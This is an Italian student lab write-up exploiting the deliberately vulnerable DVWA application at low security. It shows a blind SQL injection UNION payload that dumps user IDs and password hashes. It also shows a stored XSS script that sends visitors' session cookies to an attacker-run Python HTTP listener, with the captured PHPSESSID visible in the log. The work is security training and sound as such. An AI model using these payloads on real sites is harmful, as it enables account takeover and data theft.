

# S6 L5



**OGGI ANDREMO AD EXPLOITARE DUE  
VULNERABILITÀ :**

- **SQL INJECTION (BLIND)**
- **XSS STORED**

Prima di iniziare la parte pratica è giusto spedere qualche parola per descrivere questi attacchi.

### Attacchi XSS stored:

Gli attacchi di tipo Stored sono quelli in cui lo script iniettato viene memorizzato in modo permanente sui server di destinazione, ad esempio in un database, in un forum di messaggi, nel registro dei visitatori, nel campo dei commenti, ecc. La vittima recupera quindi lo script dannoso dal server quando richiede le informazioni memorizzate.

Questi hanno target molto più ampi a differenza degli XSS reflected poichè chiunque visiti la pagina contenente lo script malevolo viene coinvolto nel attacco.

La blind SQL injection è quasi identica alla normale SQL Injection , l'unica differenza è il modo in cui i dati vengono recuperati dal database. Quando il database non invia dati alla pagina web, un utente malintenzionato è costretto a rubare i dati ponendo al database una serie di domande vere o false. Ciò rende lo sfruttamento della vulnerabilità SQL Injection più difficile, ma non impossibile. .

Fonte:  
OWASP.com

# SQL INJECTION (BLIND)

## SQL Injection (Blind) Source

```
<?php

if (isset($_GET['Submit'])) {

    // Retrieve data

    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid); // Removed 'or die' to suppress mysql errors

    $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'

    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");

        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';

        $i++;
    }
?>
```

Andiamo a visualizzare il codice della nostra pagina da attaccare, notiamo subito che non è presente nessun controllo sul input inserito dal utente. Viene da se che quindi questo attacco sarà molto semplice da portare al termine, la pagina accetterà qualsiasi dato in input anche il nostro script malevolo.

# Vulnerability: SQL Injection (Blind)

- [Home](#)
- [Instructions](#)
- [Setup](#)
- [Brute Force](#)
- [Command Execution](#)
- [CSRF](#)
- [File Inclusion](#)
- [SQL Injection](#)
- [SQL Injection \(Blind\)](#)
- [Upload](#)
- [XSS reflected](#)
- [XSS stored](#)
- [DVWA Security](#)
- [PHP Info](#)
- [About](#)

[Logout](#)

User ID:

 

ID: ' UNION SELECT user\_id, password FROM users --

First name: 1

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user\_id, password FROM users --

First name: 2

Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user\_id, password FROM users --

First name: 3

Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user\_id, password FROM users --

First name: 4

Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user\_id, password FROM users --

First name: 5

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

## More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>

[http://en.wikipedia.org/wiki/SQL\\_injection](http://en.wikipedia.org/wiki/SQL_injection)

<http://www.unixwiz.net/techtips/sql-injection.html>

[View Source](#) [View Help](#)

Username: admin

Security Level: low

PHPIDS: disabled

L'attacco è andato a buon fine e siamo riusciti a farci restituire tutti gli user e le password dal database interrogandolo con il nostro script

# XSS STORED

Il nostro intento con questo attacco sarà quello di rubare il cookie di sessione del visitatore della pagina e inviarlo ad un server in nostro possesso.

```
[root@kali]~]# python -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...
```

Il comando `python -m http.server 1337` avvia un server web local utilizzando Python. Questo comando avvia un server HTTP sul nostro computer locale, consentendo di condividere file e risorse tramite il protocollo HTTP.

Una volta avviato il server in ascolto andiamo a inserire il nostro script (potremmo dover inserire più caratteri di quanti la pagina ci permette di fare , come in questo caso, possiamo quindi andare a modificare la capacità massima di caratteri accettati)



## Vulnerability: Stored Cross Site Scripting (XSS)

Home  
Instructions  
Setup  
  
Brute Force  
Command Execution  
CSRF  
File Inclusion  
SQL Injection  
SQL Injection (Blind)  
Upload  
XSS reflected  
XSS stored  
  
DVWA Security  
PHP Info  
About

Name \* max

Message \*

```
<script>window.location='http://127.0.0.1:1337/?cookie=' +  
document.cookie</script>
```

Sign Guestbook

Name: test  
Message: This is a test comment.

Name: test  
Message:

### More info

<http://ha.ckers.org/xss.html>  
[http://en.wikipedia.org/wiki/Cross-site\\_scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)  
<http://www.cgisecurity.com/xss-faq.html>

Inspector Console Debugger Network Style Editor Performance Memory Storage Accessibility Application

Search HTML

```
<td width="100">Message *</td>
  <td>
    <textarea name="mtxMessage" cols="50" rows="3" maxlength="250"></textarea>
  </td>
</tr>
```

html > body.home > div#container > div#main\_body > div.body\_padded > div.vulnerable\_code\_area > form > table > tbody > tr > td > textarea

+ Filter Styles

```
element { }
input, textarea, select {
  font: 100% arial, sans-serif;
  vertical-align: middle;
}
```

Filter Output

»

← → C ⌂ 127.0.0.1:1337/?cookie=security=low; PHPSESSID=adf2d483a66526fde60bca9a2872b746 110% ⌂ ⌂

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

## Directory listing for /?cookie=security=low; PHPSESSID=adf2d483a66526fde60bca9a2872b746

- [192.168.1.9](#)
- [accesso.txt](#)
- [Enumerazione.py](#)
- [file.php](#)
- [has.txt](#)
- [hydra.txt](#)
- [kkkk.php](#)
- [New Graph \(1\).mtgl](#)
- [ok.txt](#)
- [okkk](#)
- [okkk.zip](#)
- [p.txt](#)
- [pass.txt](#)
- [passwords.lst](#)
- [PROVE PROGRAMMI/](#)
- [Python/](#)
- [ste.py](#)
- [u.txt](#)
- [usernames.lst](#)

Inspector Console Debugger Network Style Editor Performance Memory Storage Accessibility Application

Search HTML + Filter Styles :hov .cls + ☀️ 🌙 🗃 Layout Computed Changes Compatibility

```
<!DOCTYPE html>
<html lang="en"> [scroll]
  <head> [ ]</head>
  <body>
```

element { } inline ▾ Flexbox Select a Flex container or item to continue.

Grid CSS Grid is not in use on this page

Errors Warnings Logs Info Debug CSS XHR Requests

GET http://127.0.0.1:1337/favicon.ico [HTTP/1.0 404 File not found 0ms]

Come primo risultato veniamo quindi reindirizzati a questa pagina

# Da terminale invece possiamo vedere come vengano salvati i cookie di sessione, che sono ora a nostra disposizione

```
[root@kali]~[/home/kali/Desktop]
# python -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...
127.0.0.1 - - [05/Nov/2023 10:27:04] "GET /?cookie=security=low;%20PHPSESSID=adf2d483a66526fde60bca9a2872b746 HTTP/1.1" 200 -
127.0.0.1 - - [05/Nov/2023 10:27:05] code 404, message File not found
127.0.0.1 - - [05/Nov/2023 10:27:05] "GET /favicon.ico HTTP/1.1" 404 -
127.0.0.1 - - [05/Nov/2023 10:28:17] "GET /?cookie=security=low;%20PHPSESSID=adf2d483a66526fde60bca9a2872b746 HTTP/1.1" 200 -
```

FINE

Grazie  
Massimo Cinquegrana